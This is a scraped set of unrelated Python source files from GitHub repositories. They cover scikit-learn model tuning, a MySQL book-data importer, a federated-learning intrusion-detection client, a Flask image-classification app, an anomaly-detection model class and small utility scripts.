gs_rf.best_estimator_.named_steps['rf']\n\nprint('Best parameters found: ', gs_rf.best_params_)\nprint('Best estimator found: ', rf_best)\nprint('Best score found: ', gs_rf.best_score_)\n\n# KNN\nknn = KNeighborsClassifier()\n\nsm_classifier_knn = Pipeline([('sm', sm), ('knn', knn)])\nparam_grid_knn = {\"knn__n_neighbors\": [3, 5, 11, 19],\n \"knn__weights\": ['uniform', 'distance']}\n\ngs_knn = GridSearchCV(sm_classifier_knn, param_grid=param_grid_knn, cv=kfold, scoring=\"accuracy\", verbose = 1, n_jobs = -1)\ngs_knn.fit(x_scale, y)\n\nknn_best = gs_knn.best_estimator_.named_steps['knn']\n\nprint('Best parameters found: ', gs_knn.best_params_)\nprint('Best estimator found: ', knn_best)\nprint('Best score found: ', gs_knn.best_score_)\n\n# CART\ncart = DecisionTreeClassifier(random_state=random_state)\n\nsm_classifier_cart = Pipeline([('sm', sm), ('cart', cart)])\nparam_grid_cart = {'cart__min_samples_split':[2,3,10],\n 'cart__max_depth':[1,20,2],\n 'cart__min_samples_leaf': [1,3,10]}\n\n# Message from Ben: use n_jobs = -1 to make it run on all cores in parallel (much faster)\ngs_cart = GridSearchCV(sm_classifier_cart, param_grid=param_grid_cart, cv=kfold, scoring=\"accuracy\", verbose = 1, n_jobs = -1)\ngs_cart.fit(x_scale, y)\n\ncart_best = gs_cart.best_estimator_.named_steps['cart']\n\nprint('Best parameters found: ', gs_cart.best_params_)\nprint('Best estimator found: ', cart_best)\nprint('Best score found: ', gs_cart.best_score_)\n\n\"\"\" Generate a simple plot of the test and training learning curve\n\"\"\"\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=-1, train_sizes=np.linspace(.1, 1.0, 5)):\n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n plt.savefig(title + '.png')\n return plt\n\ng = plot_learning_curve(gs_knn.best_estimator_,\"kNN learning curves\", x_scale, y,cv=kfold)\ng = plot_learning_curve(gs_cart.best_estimator_,\"CART learning curves\", x_scale, y,cv=kfold)\ng = plot_learning_curve(gs_rf.best_estimator_,\"Random Forest learning curves\", x_scale, y,cv=kfold)\n\n\"\"\" Feature Importance\n\"\"\"\nnrows = ncols = 0\nfig, axes = plt.subplots(nrows = nrows, ncols = ncols, sharex=\"all\", figsize=(15,15))\n\nnames_classifiers = [(\"CART\",cart_best), (\"Random Forest\",rf_best)]\n\nnclassifier = 0\nfor i in names_classifiers:\n name = i[0]\n classifier = i[1]\n indices = np.argsort(classifier.feature_importances_)[::-1][:25] \n g = sns.barplot(y=x.columns[indices], x = classifier.feature_importances_[indices], orient='h')\n for s in g.patches:\n width = s.get_width() # Put labels left of the end of the bar\n g.text(width, s.get_y() + s.get_height()/2, round(s.get_width(),3), color='black', va=\"center\")\n # nested for loop doesnt work properly. RF has two label on each bar\n g.set_xlabel(\"Relative importance\",fontsize=12)\n g.set_ylabel(\"Features\",fontsize=12)\n g.tick_params(labelsize=9)\n g.set_title(name + \" feature importance\")\n plt.savefig(name + ' feature importance.png', bbox_inches='tight')\n\n# Feature importance for kNN\n\nrandom_state = 1\nkfold = StratifiedKFold(n_splits=5)\n\ncol = x.columns\ndf_x_scale = pd.DataFrame(x_scale, columns = col) # Should use x_scale. x yields the wrong importance\n\nreg = LassoCV(cv=kfold, random_state=random_state, n_jobs=-1)\nreg.fit(df_x_scale, y)\nprint(\"Best alpha using built-in LassoCV: %f\" % reg.alpha_)\nprint(\"Best score using built-in LassoCV: %f\" %reg.score(df_x_scale,y))\ncoef = pd.Series(reg.coef_, index = x.columns)\n\nprint(\"Lasso picked \" + str(sum(coef != 0)) + \" variables and eliminated the other \" + str(sum(coef == 0)) + \" variables\")\n\nnonzero_coef = coef[coef != 0] \nimp_coef = nonzero_coef.sort_values()\nplt.rcParams['figure.figsize'] = (15, 15.0)\ng = imp_coef.plot(kind = \"barh\")\nfor (s, i) in zip(g.patches, imp_coef):\n width = s.get_width() # Put labels left of the end of the bar\n if i > 0:\n g.text(width, s.get_y() + s.get_height()/2, round(s.get_width(),3), color='black', va=\"center\")\n else:\n g.text(width-0.006, s.get_y() + s.get_height()/2, round(s.get_width(),3), color='black', va=\"center\")\nplt.title(\"Feature importance using Lasso Model\")\ng.set_xlabel(\"Relative importance\",fontsize=12)\ng.set_ylabel(\"Features\",fontsize=12)\ng.tick_params(labelsize=9)\nplt.tight_layout() \nplt.savefig('Feature importance Lasso_knn.png', bbox_inches='tight')\nplt.show()","repo_name":"triatomo/delay-analysis","sub_path":"models_smote_xval.py","file_name":"models_smote_xval.py","file_ext":"py","file_size_in_byte":10491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69841341691","text":"import uuid\nimport json\nimport os.path\n\nimport pymysql\n\nfrom category import parse_category\n\nfrom db import save_to_book, save_to_author, save_to_author_book, save_to_translator, save_to_book_translator, \\\n save_to_book_category\n\nconfig = {\n 'host': '127.0.0.1',\n 'port': 3306,\n 'user': 'root',\n 'password': '123456789',\n 'db': 'dodo',\n 'charset': 'utf8',\n 'cursorclass': pymysql.cursors.DictCursor,\n}\n\n\ndef do(cache_dir, mute=False):\n for parent, dirnames, filenames in os.walk(cache_dir):\n for filename in filenames:\n if filename.endswith('.json'):\n with open(os.path.join(parent, filename), encoding='utf-8') as f:\n if not mute:\n print(filename)\n connection = pymysql.connect(**config)\n try:\n data = json.loads(f.read())\n bid = str(uuid.uuid1())\n save_to_book(connection, bid, bid, data['pages'], data['title'], data['publisher'], data['summary'],\n data['rating']['average'], data['image'], data['isbn10'], data['isbn13'])\n\n if data['author']:\n for aut in data['author']:\n aid = str(uuid.uuid1())\n save_to_author(connection, aid, extract_author_name(aut), extract_nationality(aut),\n data['author_intro'], '')\n save_to_author_book(connection, aid, bid)\n\n if data['translator']:\n for tra in data['translator']:\n tid = str(uuid.uuid1())\n save_to_translator(connection, tid, tra, '', '', '')\n save_to_book_translator(connection, bid, tid)\n\n for cat in parse_category(data['tags']):\n save_to_book_category(connection, bid, cat)\n connection.commit()\n except Exception as e:\n connection.rollback()\n if not mute:\n print('error: ' + filename + '\\t' + str(e))\n finally:\n connection.close()\n\n\ndef extract_nationality(name):\n import re\n items = re.findall(r\"[\\(\\[(【]([\\u4e00-\\u9fa5]+)[\\]\\))】]\", name)\n if items:\n return items[0]\n else:\n return ''\n\n\ndef extract_author_name(name):\n import re\n items = re.findall(r\"[\\(\\[(【][\\u4e00-\\u9fa5]+[\\]\\))】](.+)\", name)\n if items:\n return items[0]\n else:\n return name\n\n\nif __name__ == '__main__':\n path = r'E:\\cache'\n do(path, mute=False)\n","repo_name":"HermanZeng/dodo","sub_path":"dodo/util/douban/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10764870884","text":"#!/usr/bin/env python3\nimport time\nfrom collections import OrderedDict\nimport warnings\n\nimport flwr as fl\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\n\nfrom sklearn.metrics import confusion_matrix\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nfrom sklearn import metrics\n\nimport sklearn\n\nimport joblib\nfrom joblib import parallel_backend\n\nimport pandas as pd\nimport os\nimport sys\n\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# was 46 features.\nNUM_INPUT = 38\nbatch_size = 1\n\n# #############################################################################\n# 1. PyTorch pipeline: model/train/test/dataloader\n# #############################################################################\n\n\n# Model 3-layer Linear reg NN \nclass Net(nn.Module):\n\tdef __init__(self) -> None:\n\t\tsuper(Net, self).__init__()\n\t\tself.fc1 = nn.Linear(in_features=NUM_INPUT, out_features=30)\n\t\tself.fc2 = nn.Linear(in_features=30, out_features=20)\n\t\tself.fc3 = nn.Linear(in_features=20, out_features=1)\n\n\tdef forward(self, x: torch.Tensor) -> torch.Tensor:\n\t\toutput = self.fc1(x)\n\t\toutput = torch.relu(output)\n\t\toutput = self.fc2(output)\n\t\toutput = torch.relu(output)\n\t\toutput = self.fc3(output)\n\t\toutput = torch.sigmoid(output)\n\n\t\treturn output\n\n\n# Train/test loops adapted from: credit - https://github.com/AnupamMicrosoft/PyTorch-Classification/blob/master/LogisticsRegressionPyTorch.py\n\ndef train(net, train_loader, epochs):\n\t\"\"\"Train the network on the training set.\"\"\"\n\tloss_fn = torch.nn.BCELoss()\n\toptimizer = torch.optim.SGD(net.parameters(), lr=0.0001, weight_decay=0.03) \n\tnet.train()\n\n\tfor epoch in range(epochs):\n\t\tavg_loss_epoch = 0\n\t\tbatch_loss = 0\n\t\ttotal_batches = 0\n\n\t\tfor i, (features, labels) in enumerate(train_loader):\n\t\t\toutputs = net(features) \n\t\t\tloss = loss_fn(outputs, labels) \n\t\t\t\n\t\t\t# Backward and optimize\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\toptimizer.step() \n\n\t\t\ttotal_batches += 1 \n\t\t\tbatch_loss += loss.item()\n\n\t\tavg_loss_epoch = batch_loss/total_batches\n\t\tprint ('Epoch [{}/{}], Average Loss: for epoch [{}, {:.4f}]'\n\t\t\t\t\t .format(epoch+1, epochs, epoch+1, avg_loss_epoch ))\n\t\n\n\ndef test(net, test_loader):\n\n\ty_pred = []\n\ty_true = []\n\n\tcorrect = 0.\n\ttotal = 0.\n\tfor features, labels in test_loader:\n\n\t\toutputs_test = net(features)\n\n\t\ty_true.extend(labels.data.cpu().numpy())\n\n\t\tpredicted = outputs_test.data >= 0.5 \n\n\t\ty_pred.extend(predicted.detach().numpy())\n\t \n\t\ttotal += labels.size(0) \n\t\t\n\t\tcorrect += (predicted.view(-1).long() == labels).sum()\n\n\n\t\t\n\taccuracy = (100 * (correct.float() / total))\n\ttn, fp, fn, tp = metrics.confusion_matrix(y_true, y_pred).ravel()\n\tf1_score = metrics.f1_score(y_true, y_pred)\n\tprecision = metrics.precision_score(y_true, y_pred)\n\trecall = metrics.recall_score(y_true, y_pred)\n\n\n\ttest_length = len(test_loader)\n\tprint('Accuracy of the model on the samples: %f %%' % accuracy)\n\tprint(f\"Number of total test samples {total}\")\n\tprint(f\"Numbers of correctly predicted test samples {correct} out of {len(test_loader)}\")\n\tprint(f\"Calculated ({correct} / {total}) * 100.0 = {accuracy}\")\n\tprint(f\"F1 score: {f1_score}\")\n\tprint(f\"Precision - for malicious: {precision * 100.0}%\")\n\tprint(f\"Recall - for malicious: {recall * 100.0}%\")\n\tprint(f\"-=-=-=-=-=-=-=-=-=-=-\")\n\tprint(f\"True positives/malicious: {tp} out of {tp + fp + fn + tn} ({ (tp / (tp + fp + fn + tn)) * 100.0 }%)\")\n\tprint(f\"False positives/malicious: {fp} out of {tp + fp + fn + tn} ({ (fp / (tp + fp + fn + tn)) * 100.0 }%)\")\n\tprint(f\"True negatives/benign: {tn} out of {tp + fp + fn + tn} ({ (tn / (tp + fp + fn + tn)) * 100.0 }%)\")\n\tprint(f\"False negatives/benign: {fn} out of {tp + fp + fn + tn} ({ (fn / (tp + fp + fn + tn)) * 100.0 }%)\\n\")\n\n\treturn 0.0, accuracy\n\n\ndef load_data(path=None, filename=None):\n\tif path is None:\n\t\tpath = \"./\"\n\tif filename is None:\n\t\tfilename = \"package_result_processed\"\n\tif not os.path.exists(path + filename + \".csv\"):\n\t\tprint(\"File does not exist\")\n\t\tsys.exit(1)\n\n\tprint(f'Loading dataset from : {filename}')\n\t#pd.options.mode.use_inf_as_na = True\n\tdata_dataframe = pd.read_csv(path + filename + \".csv\")\n\t#data_dataframe.dropna(inplace=True)\n\tdata_dataframe = data_dataframe.sample(frac = 1)\n\n\tprint('Done loading.')\n\n\t# we will let 0 represent benign data\n\t# we will let 1 represent malicious data\n\n\t#data_dataframe.loc[data_dataframe['Label'] == 'BENIGN', 'Label'] = 0.0\n\t#data_dataframe.loc[data_dataframe['Label'] == 'MALICIOUS', 'Label'] = 1.0\n\n\tX = data_dataframe.iloc[:, 0:-1] # Features\n\tY = data_dataframe.iloc[:, -1] # Labels\n\t\n\t# Convert all data to float type\n\tX = X.astype(\"float32\")\n\tY = Y.astype(\"float32\")\n\n\tcols = ['Fwd PSH Flags',\n'Bwd PSH Flags',\n'Bwd URG Flags',\n'SYN Flag Count',\n'Fwd Avg Bytes/Bulk',\n'Fwd Avg Packets/Bulk',\n'Fwd Avg Bulk Rate',\n'Bwd Avg Bytes/Bulk',\n'Bwd Avg Packets/Bulk',\n'Bwd Avg Bulk Rate',\n'URG Flag Count',\n'CWE Flag Count',\n'Fwd URG Flags',\n'FIN Flag Count',\n'Down/Up Ratio',\n'Active Min',\n'ECE Flag Count',\n'Idle Mean',\n'act_data_pkt_fwd',\n'Flow IAT Std',\n'Idle Std',\n'Active Mean',\n'Idle Max',\n'Active Std',\n'ACK Flag Count',\n'PSH Flag Count',\n'Avg Bwd Segment Size',\n'Idle Min',\n'Active Max',\n'Subflow Fwd Bytes',\n'Subflow Bwd Bytes',\n'Avg Fwd Segment Size',\n'Subflow Bwd Packets',\n'Subflow Fwd Packets',\n'Bwd Header Length',\n'Fwd Header Length',\n'min_seg_size_forward',\n'Init_Win_bytes_backward',\n'Init_Win_bytes_forward']\n\n\t\n\tX.drop(columns=cols, axis=1, inplace=True)\n\n\tscaler = StandardScaler()\n\tX = scaler.fit_transform(X)\n\n\tprint('Saving scaler.')\n\tjoblib.dump(scaler, f'scaler_nn_17.pkl')\n\tprint('Saved scaler.')\n\n\t# Convert data to tensors\n\tX = torch.tensor(X, dtype=torch.float)\n\tY = torch.tensor(Y, dtype=torch.float)\n\n\tX = torch.FloatTensor(X)\n\tY = torch.unsqueeze(torch.FloatTensor(Y), dim=1)\n\n\n\t# split to train and test subset\n\ttrain_size = int(0.75 * len(Y))\n\ttest_size = len(Y) - train_size\n\n\tprint('Splitting.')\n\tY_train, Y_test = torch.split(Y, [train_size, test_size])\n\tX_train, X_test = torch.split(X, [train_size, test_size])\n\n\ttrain_dataset = TensorDataset(X_train, Y_train)\n\ttest_Dataset = TensorDataset(X_test, Y_test)\n\n\ttrainloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n\ttestloader = DataLoader(test_Dataset, batch_size=batch_size, shuffle=False)\n\n\tnum_examples = {\"trainset\": len(train_dataset), \"testset\": len(test_Dataset)}\n\treturn trainloader, testloader, num_examples\n\n\n# #############################################################################\n# 2. Federation of the pipeline with Flower\n# #############################################################################\n\n\ndef main():\n\t\"\"\"Create model, load data, define Flower client, start Flower client.\"\"\"\n\n\t# Load model\n\t# net = Net().to(DEVICE)\n\tnet = Net().to(DEVICE)\n\n\t# Load data \n\ttrainloader, testloader, num_examples = load_data(filename='17_18_merged_no_dup_1')\n\n\t# Flower client\n\tclass ClientTrainer(fl.client.NumPyClient):\n\t\tdef get_parameters(self):\n\t\t\treturn [val.cpu().numpy() for _, val in net.state_dict().items()]\n\n\t\tdef set_parameters(self, parameters):\n\t\t\tparams_dict = zip(net.state_dict().keys(), parameters)\n\t\t\tstate_dict = OrderedDict({k: torch.tensor(v) for k, v in params_dict})\n\t\t\tnet.load_state_dict(state_dict, strict=True)\n\n\t\tdef fit(self, parameters, config):\n\t\t\tself.set_parameters(parameters)\n\n\t\t\ttrain_s = time.time()\n\t\t\ttrain(net, trainloader, epochs=1)\n\t\t\ttrain_e = time.time()\n\t\t\tprint(f\"Train duration time of this round is {train_e - train_s}\")\n\n\t\t\t# save model\n\t\t\tmodelPath = \"./simple_nn_17.pth\"\n\t\t\ttorch.save(net.state_dict(), modelPath)\n\n\t\t\tprint(f\"Model saved here {modelPath}\")\n\t\t\treturn self.get_parameters(), num_examples[\"trainset\"], {}\n\n\t\tdef evaluate(self, parameters, config):\n\t\t\tself.set_parameters(parameters)\n\n\t\t\ttest_s = time.time()\n\t\t\tloss, accuracy = test(net, testloader)\n\t\t\ttest_e = time.time()\n\t\t\tprint(f\"Test duration time of this round is {test_e - test_s}\\n\\n\")\n\n\t\t\treturn float(loss), num_examples[\"testset\"], {\"accuracy\": float(accuracy)}\n\n\t# Start client\n\tfl.client.start_numpy_client(\"127.0.0.1:8080\", client=ClientTrainer())\n\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"jingye-xu/DistriLearn","sub_path":"client_train.py","file_name":"client_train.py","file_ext":"py","file_size_in_byte":8286,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"284184405","text":"#!/usr/local/bin/python3.5\nimport string\n\n#skeleton class for measurement that will work with gui_femb_test\n\nclass FEMB_TEST:\n\n def __init__(self):\n print(\"init\")\n #set status variables\n self.status_check_setup = 0\n self.status_record_data = 0\n self.status_do_analysis = 0\n self.status_archive_results = 0\n\n def check_setup(self):\n self.status_check_setup = 0\n print(\"check_setup\")\n self.status_check_setup = 1\n\n def record_data(self):\n if self.status_check_setup == 0:\n print(\"Please run check_setup method before trying to take data\")\n return\n if self.status_record_data == 1:\n print(\"Data already recorded. Reset/restat GUI to begin a new measurement\")\n return\n print(\"record_data\")\n self.status_record_data = 1\n\n def do_analysis(self):\n if self.status_record_data == 0:\n print(\"Please record data before analysis\")\n return\n if self.status_do_analysis == 1:\n print(\"Analysis already complete\")\n return\n print(\"do_analysis\")\n self.status_do_analysis = 1\n\n def archive_results(self):\n if self.status_do_analysis == 0:\n print(\"Please analyze data before archiving results\")\n return\n if self.status_archive_results == 1:\n print(\"Results already archived\")\n return\n print(\"archive_results\")\n self.status_archive_results = 1\n\ndef main():\n femb_test = FEMB_TEST()\n femb_test.check_setup()\n femb_test.record_data()\n femb_test.do_analysis()\n femb_test.archive_results()\n\nif __name__ == '__main__':\n main()\n","repo_name":"kirbybri/bnl_larTpc_coldElec_fembTest","sub_path":"doFembTest_test.py","file_name":"doFembTest_test.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41736207399","text":"class Solution(object):\n def sumOfLeftLeaves(self, root):\n if not root:\n return 0\n s = [root]\n r = 0\n while s:\n u = s.pop()\n if u.left:\n s.append(u.left)\n if not u.left.left and not u.left.right:\n r += u.left.val\n if u.right:\n s.append(u.right)\n return r","repo_name":"andynilson/Copyleaks-test","sub_path":"solutions/solutionWithMinorChanges.py","file_name":"solutionWithMinorChanges.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70408875453","text":"import caffe\nimport os\nfrom pylab import *\nimport sys\nfrom PIL import Image\nimport numpy as np\n#from flask_ngrok import run_with_ngrok\nfrom flask import Flask,request, jsonify, send_file,render_template, send_from_directory\n\nimport cv2\n\n# %matplotlib inline\n\nmean_filename='garbnet_mean.binaryproto'\ndeploy_filename = 'deploy_garbnet.prototxt'\ncaffemodel_file = 'garbnet_fcn.caffemodel'\n\nproto_data = open(mean_filename, \"rb\").read()\na = caffe.io.caffe_pb2.BlobProto.FromString(proto_data)\nmean = caffe.io.blobproto_to_array(a)[0]\n\nnet = caffe.Net(deploy_filename,caffemodel_file,caffe.TEST)\n\napp = Flask(__name__)\n#run_with_ngrok(app)\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\n\n@app.route(\"/\")\ndef index():\n return render_template(\"upload.html\")\n\n@app.route(\"/upload\",methods=['POST'])\ndef upload():\n if request.method==\"POST\":\n\n target = os.path.join(APP_ROOT, 'image/')\n print(target)\n if not os.path.isdir(target):\n os.mkdir(target)\n else:\n print(\"Couldn't create upload directory: {}\".format(target))\n print(request.files.getlist(\"file\"))\n for upload in request.files.getlist(\"file\"):\n print(upload)\n print(\"{} is the file name\".format(upload.filename))\n filename = upload.filename\n destination = \"/\".join([target, filename])\n print (\"Accept incoming file:\", filename)\n print (\"Save it to:\", destination)\n upload.save(destination)\n images=[]\n names=[]\n folder='image'\n example_image = folder+'/'+filename\n input_image = Image.open(example_image)\n images.append(input_image)\n names.append(filename)\n \"\"\"\n folder='image'\n imageNames=None\n images = []\n names = []\n files = os.listdir(folder)\n total = len(files)\n print ('Total images in folder', total, folder)\n for i in os.listdir(folder):\n try:\n if imageNames is None or i in imageNames:\n example_image = folder+'/'+i\n input_image = Image.open(example_image)\n images.append(input_image)\n names.append(i)\n except:\n pass\n \"\"\" \n\n\n\n\n #--------------------------------------------------------------------------------\n size=4\n thresh=0.999\n output_folder='trashed_image'\n for i in range(len(images)):\n w,h = images[i].size\n if w<h:\n test_image= images[i].resize((int(227*size),int((227*h*size)/w))) #227x227 is input for regular CNN\n else:\n test_image= images[i].resize((int((227*w*size)/h),int(227*size)))\n \n in_ = np.array(test_image,dtype = np.float32)\n in_ = in_[:,:,::-1]\n in_ -= np.array(mean.mean(1).mean(1))\n in_ = in_.transpose((2,0,1))\n\n net.blobs['data'].reshape(1,*in_.shape)\n net.blobs['data'].data[...] = in_\n net.forward()\n probMap =net.blobs['prob'].data[0,1]\n print (names[i]+'...',)\n if len(np.where(probMap>thresh)[0]) > 0:\n print ('Garbage!')\n else:\n print ('Not Garbage!')\n kernel = np.ones((6,6),np.uint8)\n wt,ht = test_image.size\n out_bn = np.zeros((ht,wt),dtype=uint8)\n\n for h in range(probMap.shape[0]):\n for k in range(probMap.shape[1]):\n if probMap[h,k] > thresh:\n x1 = h*62 #stride 2 at fc6_gb_conv equivalent to 62 pixels stride in input\n y1 = k*62\n for hoff in range(x1,227+x1):\n if hoff < out_bn.shape[0]:\n for koff in range(y1,227+y1):\n if koff < out_bn.shape[1]:\n out_bn[hoff,koff] = 255\n edge = cv2.Canny(out_bn,200,250)\n box = cv2.dilate(edge,kernel,iterations = 3)\n\n or_im_ar = np.array(test_image)\n or_im_ar[:,:,1] = (or_im_ar[:,:,1] | box)\n or_im_ar[:,:,2] = or_im_ar[:,:,2] * box + or_im_ar[:,:,2]\n or_im_ar[:,:,0] = or_im_ar[:,:,0] * box + or_im_ar[:,:,0]\n\n out_= Image.fromarray(or_im_ar)\n out_.save(output_folder + '/output_' + names[i])\n #specify 'input' folder containing images for prediction\n #images,names = gatherImages('input')\n #specify 'output' folder to store segmented predictions\n #getPredictionsFor(images,names,4,0.999,'output')\n #return send_file(output_folder + '/output_' + names[i])\n new_name='output_' + names[i]\n return render_template(\"complete_display_image.html\", image_name=new_name)\n\n\n@app.route('/trashed_image/<filename>')\ndef send_image(filename):\n return send_from_directory(\"trashed_image\", filename)\n #return send_file(\"/home/ekansh/Desktop/trash/trashed_image\"+filename)\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"ekanshsaxena/trash_detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"24906354339","text":"from __future__ import annotations\n\nimport logging\n\nimport torch\nfrom omegaconf import DictConfig, ListConfig\nfrom pytorch_lightning.utilities.types import STEP_OUTPUT\nfrom torch import Tensor\n\nfrom anomalib.models.components import AnomalyModule\nfrom anomalib.models.components.classification import FeatureScalingMethod\n\nfrom .region_extractor import RoiStage\nfrom .torch_model import RkdeModel\n\nlogger = logging.getLogger(__name__)\n\n\nclass Rkde(AnomalyModule):\n \"\"\"Region Based Anomaly Detection With Real-Time Training and Analysis.\n\n Args:\n roi_stage (RoiStage, optional): Processing stage from which rois are extracted.\n roi_score_threshold (float, optional): Mimumum confidence score for the region proposals.\n min_size (int, optional): Minimum size in pixels for the region proposals.\n iou_threshold (float, optional): Intersection-Over-Union threshold used during NMS.\n max_detections_per_image (int, optional): Maximum number of region proposals per image.\n n_pca_components (int, optional): Number of PCA components. Defaults to 16.\n feature_scaling_method (FeatureScalingMethod, optional): Scaling method applied to features before passing to\n KDE. Options are `norm` (normalize to unit vector length) and `scale` (scale to max length observed in\n training).\n max_training_points (int, optional): Maximum number of training points to fit the KDE model. Defaults to 40000.\n \"\"\"\n\n def __init__(\n self,\n roi_stage: RoiStage = RoiStage.RCNN,\n roi_score_threshold: float = 0.001,\n min_box_size: int = 25,\n iou_threshold: float = 0.3,\n max_detections_per_image: int = 100,\n n_pca_components: int = 16,\n feature_scaling_method: FeatureScalingMethod = FeatureScalingMethod.SCALE,\n max_training_points: int = 40000,\n ) -> None:\n super().__init__()\n\n self.model: RkdeModel = RkdeModel(\n roi_stage=roi_stage,\n roi_score_threshold=roi_score_threshold,\n min_box_size=min_box_size,\n iou_threshold=iou_threshold,\n max_detections_per_image=max_detections_per_image,\n n_pca_components=n_pca_components,\n feature_scaling_method=feature_scaling_method,\n max_training_points=max_training_points,\n )\n self.embeddings: list[Tensor] = []\n\n @staticmethod\n def configure_optimizers() -> None:\n \"\"\"RKDE doesn't require optimization, therefore returns no optimizers.\"\"\"\n return None\n\n def training_step(self, batch: dict[str, str | Tensor], *args, **kwargs) -> None:\n \"\"\"Training Step of RKDE. For each batch, features are extracted from the CNN.\n\n Args:\n batch (dict[str, str | Tensor]): Batch containing image filename, image, label and mask\n\n Returns:\n Deep CNN features.\n \"\"\"\n del args, kwargs # These variables are not used.\n\n features = self.model(batch[\"image\"])\n self.embeddings.append(features)\n\n def on_validation_start(self) -> None:\n \"\"\"Fit a KDE Model to the embedding collected from the training set.\"\"\"\n embeddings = torch.vstack(self.embeddings)\n\n logger.info(\"Fitting a KDE model to the embedding collected from the training set.\")\n self.model.fit(embeddings)\n\n def validation_step(self, batch: dict[str, str | Tensor], *args, **kwargs) -> STEP_OUTPUT:\n \"\"\"Validation Step of RKde.\n\n Similar to the training step, features are extracted from the CNN for each batch.\n\n Args:\n batch (dict[str, str | Tensor]): Batch containing image filename, image, label and mask\n\n Returns:\n Dictionary containing probability, prediction and ground truth values.\n \"\"\"\n del args, kwargs # These variables are not used.\n\n # get batched model predictions\n boxes, scores = self.model(batch[\"image\"])\n\n # convert batched predictions to list format\n image: Tensor = batch[\"image\"]\n batch_size = image.shape[0]\n indices = boxes[:, 0]\n batch[\"pred_boxes\"] = [boxes[indices == i, 1:] for i in range(batch_size)]\n batch[\"box_scores\"] = [scores[indices == i] for i in range(batch_size)]\n\n return batch\n\n\nclass RkdeLightning(Rkde):\n \"\"\"Rkde: Deep Feature Kernel Density Estimation.\n\n Args:\n hparams (DictConfig | ListConfig): Model params\n \"\"\"\n\n def __init__(self, hparams: DictConfig | ListConfig) -> None:\n super().__init__(\n roi_stage=RoiStage(hparams.model.roi_stage),\n roi_score_threshold=hparams.model.roi_score_threshold,\n min_box_size=hparams.model.min_box_size,\n iou_threshold=hparams.model.iou_threshold,\n max_detections_per_image=hparams.model.max_detections_per_image,\n n_pca_components=hparams.model.n_pca_components,\n feature_scaling_method=FeatureScalingMethod(hparams.model.feature_scaling_method),\n max_training_points=hparams.model.max_training_points,\n )\n self.hparams: DictConfig | ListConfig # type: ignore\n self.save_hyperparameters(hparams)\n","repo_name":"openvinotoolkit/anomalib","sub_path":"src/anomalib/models/rkde/lightning_model.py","file_name":"lightning_model.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","stars":2572,"dataset":"github-code","pt":"78"} +{"seq_id":"41853273580","text":"class Vehicle():\n def __init__(self, general_id, build_date, model, operator, owner, registration_date, registration_number, type):\n self.general_id = general_id\n self.build_date = build_date\n self.model = model\n self.operator = operator\n self.owner = owner\n self.registration_date = registration_date\n self.registration_number = registration_number\n self.type = type","repo_name":"VeteraniusWeb2021/SanctionParsing","sub_path":"SanctionParsing/SanctionParsing/Classes/Vehicle.py","file_name":"Vehicle.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37615041322","text":"################################################\r\n# Program name: finance_calculators.py\r\n# Written by: Y Taylor\r\n# Date written: 17/01/2020\r\n# This program helps users calculate the return on an investment as well as a loan repayment calculator\r\n# task \r\n#################################################\r\nimport math\r\nprint(\"Choose either 'investment' or 'bond' from the menu below to proceed: \\ninvestment - to calculate the amount of interest you'll earn on intrest: \\nbond - to calculate the amount you'll have to pay on a home loan: \" )\r\n# Promts user to choose a type of calculator\r\ninvestment_type = input(\"Please choose either (investment) or (bond): \")\r\n# Promt user for vairables needed for investment calculations\r\nif investment_type.lower() == \"investment\":\r\n amount = float(input(\"Please enter the amount of money you are depositing:\"))\r\n interest_rate = float(input(\"Please enter the intrest rate percentage (just the number without the % )\"))/100\r\n years_of_investment = float(input(\"Please enter the number of years you plan on investing for: \"))\r\n interest_type = input(\"Please choose between (compound) and (simple) interest: \")\r\n # Simple interest calculation\r\n if interest_type.lower() == \"simple\":\r\n simple_interest = amount * (1 + (interest_rate * 